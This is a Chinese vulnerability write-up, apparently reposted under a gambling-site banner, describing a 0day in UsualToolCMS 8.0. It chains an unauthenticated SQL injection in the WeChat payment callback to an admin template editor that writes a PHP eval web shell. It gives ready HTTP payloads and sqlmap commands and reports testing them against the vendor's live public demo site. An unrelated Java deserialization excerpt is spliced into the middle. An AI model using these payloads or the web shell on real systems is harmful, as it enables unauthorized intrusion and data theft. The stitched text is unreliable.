欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全防护正文

UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell

b9e08c31ae1faa592020-01-0374安全技术漏洞分析

[TOC]

1.前言

填上上一篇文章sdcms v1.9 后台getshell里的坑,好不容易啊

刚挖出来的0day,今天是12.30号,也是我2019年最后一篇文章了,没有下集预告了,也不给自己挖坑了。明年的事明年再说,祝大家新年快乐……

这套cms的注入点看完后会发现很简单,傻子都会……主要就是花了很多时候去找到了这个地方

审过这套cms的会发现,他的过滤是用了什么sqlcheck啥的来实现的,我开始审的时候就被这函数给唬住了,,其实,人不要自己难为自己,非得去和这个过滤函数来较劲来想办法来绕过,何必呢

2.前台无限制sql注入

2.1 漏洞发现

在payment/wechat/notify.php第7行开始:
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第1张
主要关注点:
第7行的$xml = file_get_contents("php://input");
第10行的$result = WxPayResults::Init($xml);
第20行的$out_trade_no = $result["out_trade_no"];
第28行的$query="SELECT * FROM cms_order WHERE ordernum='$out_trade_no' and state='0'";

看他这架势,感觉应该是解析传入的xml格式的数据,然后带到数据库执行

这个时候,我个人的想法是不要傻不啦叽的去跟这个WxPayResults::Init,直接黑盒测一下关键字有没有被过滤不就完了吗(要是有师傅就是想跟一下,然后发现了xxe,就当我没说,我确实也没看这个init方法)

我在第10行后面直接加入了print_r($result);exit;
测试过程如下图:
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第2张
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第3张
第一个图,,说明了啥也没过滤……但是并没有out_trade_no,只是个0
所以我就寻思再套一层就行了,就是第二个图了,这就有$result["out_trade_no"]了

这就一个很明显的注入点了

2.2 sqlmap出数据

送佛送到西,我写注入就非得把怎么获取数据写出来,不然憋得难受==

直接抓包然后用星号指定位置是跑不出来的……
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第4张
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第5张

JAVA反序列化 - 反射机制

推荐阅读时间:30min 全文字数:1w 前言 真正反序列化漏洞的利用,肯定需要了解java反射原理。因为java反序列化的payload大多与反射机制密切相关。 那么这篇文章就是主要讲述反射机制,算是基础知识。 除了反射机制之外,后续还基于commons-collections链最后的反射机制触发点,进行了详细的反射机制特性的绕过说明。由于它与反射机制密切相关,就放在这边进行统一归纳理解。 可以配合本人的另一篇文章commons-collections食用 java反射机制 在Java中的反射机制是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法;并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态

这里就是数据表是空的,sleep多少都是0,然后其他的注入方法应该也不支持

一般对于sleep的注入,我个人的习惯是,能让他返回一列就一列,实在不好整就是调sleep的时间

这个地方显然是可以联合查询一下子,让他返回一列,然后再sleep即可
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第6张
修改一下注入的数据包:

POST /UsualToolCMS-8.0-Release/payment/wechat/notify.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 101

<aa><out_trade_no>-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 *#</out_trade_no></aa>

然后再用sqlmap注入应该就行了
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第7张
(我这里实际上出了点小问题,一开始一路回车就是跑不出注入,后来在图片里的[16:05:43]这个地方选的n就出来了,这个地方大家要是很顺利的话就不用管了……)

2.3 官网demo测试

数据包:

POST /demo/payment/wechat/notify.php HTTP/1.1
Host: cms.usualtool.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Cookie: UTCMSLanguage=zh; PHPSESSID=f24fbm52li884ocv974oc22ve2
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

<aa><out_trade_no>-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 *#</out_trade_no></aa>

sqlmap.py -r ../2.txt --dbms=mysql --technique=T
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第8张
sqlmap.py -r ../2.txt --dbms=mysql --technique=T --current-user
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第9张

3.后台getshell

在cmsadmin/a_templetex.php的前面几行
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第10张
这就没啥好说的了

访问127.0.0.1/UsualToolCMS-8.0-Release/cmsadmin/a_templetex.php?x=m
post:
filename=123.php&content=<?php eval($_POST[1]);?>

一句话就在网站根目录了
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第11张
UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell  安全技术 漏洞分析 第12张

然后a_templetex.php里面还有个任意文件读取

4.结束

其实还有一个注入点,没写出来,套路和这个注入点完全是一模一样……也没啥可写的

最后,,唉,不说了,新年快乐


网友评论